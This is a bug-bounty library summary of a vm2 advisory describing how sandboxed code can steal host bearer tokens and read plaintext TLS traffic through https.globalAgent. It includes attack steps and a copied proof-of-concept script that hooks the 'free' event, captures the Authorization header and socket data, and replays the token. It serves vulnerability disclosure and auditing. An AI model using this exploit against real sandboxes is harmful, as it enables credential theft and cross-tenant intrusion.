# vm2 exposes host HTTPS credentials and TLS traffic through globalAgent

vm2 exposes host https.globalAgent to sandboxes allowed to require https, letting sandbox code steal host bearer tokens and read plaintext TLS responses.

- Payout: Research
- Severity: critical
- Program: vm2
- Found by: Forrof
- Disclosed: 2026-10-01
- CVE: CVE-2026-92940
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-h85j-hv3c-qfgq
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-h85j-hv3c-qfgq
- Tags: area:oss domain:oss impact:data-leak impact:integrity impact:internal-access kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:info-disclosure vuln:sandbox-escape vuln:secrets-leak

**Target:** NodeVM sandbox builtin loader / https.globalAgent
**Root cause:** The default builtin loader wraps host modules in a read-only proxy, but method calls like .on() on the process-global https.globalAgent still mutate the real host EventEmitter, bridging live sockets and request options into the sandbox.
**Steps:**
1. Sandbox requires `https` (allowed builtin) and subscribes: `https.globalAgent.on('free', (socket, options) => {...})`.
2. Host makes an unrelated HTTPS request using the default agent; on completion the agent emits `free` with the live TLSSocket and request options.
3. Sandbox callback reads `options.headers.Authorization` and `options.host`/`options.port`.
4. Sandbox attaches `socket.on('data', chunk => capturedHostTraffic += chunk.toString('utf8'))` to the released host TLS socket.
5. Sandbox sends an attacker-chosen authenticated POST to the private host using the stolen token with `agent: false`.
6. Next host request reuses the pooled TLS connection; sandbox listener captures the plaintext response body.
**How found:** Recognized that read-only proxies are insufficient for process-global EventEmitters whose methods mutate internal state; noted https.globalAgent is the default agent for host requests and its free event exposes both socket and request options, and that the dangerous-builtin filter doesn't classify https as process-global because it also has legitimate sandbox network APIs.
**Exploitation:** Attacker submits code to a NodeVM with https allowed. Subscribing to the real host globalAgent's free event yields the host's Authorization header and private destination; attaching a data listener to the released TLSSocket captures subsequent host response plaintext; the stolen token is then reused for an authenticated attacker-chosen request, confirmed by ACTION_ACCEPTED.
**Escalation:** Cross-tenant boundary crossing when multiple sandboxes and host workloads share one process; can also write to or destroy live host sockets to disrupt unrelated traffic.
**Insight:** When auditing sandbox builtin allowlists, check whether exposed modules contain process-global singletons (globalAgent, shared pools, caches) whose EventEmitter methods leak live host objects; read-only proxies don't stop method calls that mutate or subscribe to host state.

## Proof of concept (copied exactly from the original report)

**Sandbox code subscribing to host globalAgent free event**

```
const https = require('https');

https.globalAgent.on('free', (socket, options) => {
  const token = options.headers.Authorization;
  const destination = {host: options.host, port: options.port};

  socket.on('data', chunk => {
    capturedHostTraffic += chunk.toString('utf8');
  });

  const req = https.request({
    hostname: destination.host,
    port: destination.port,
    path: '/sandbox-action',
    method: 'POST',
    headers: {Authorization: token},
    agent: false,
  });
  req.end(attackerChosenBody);
});
```

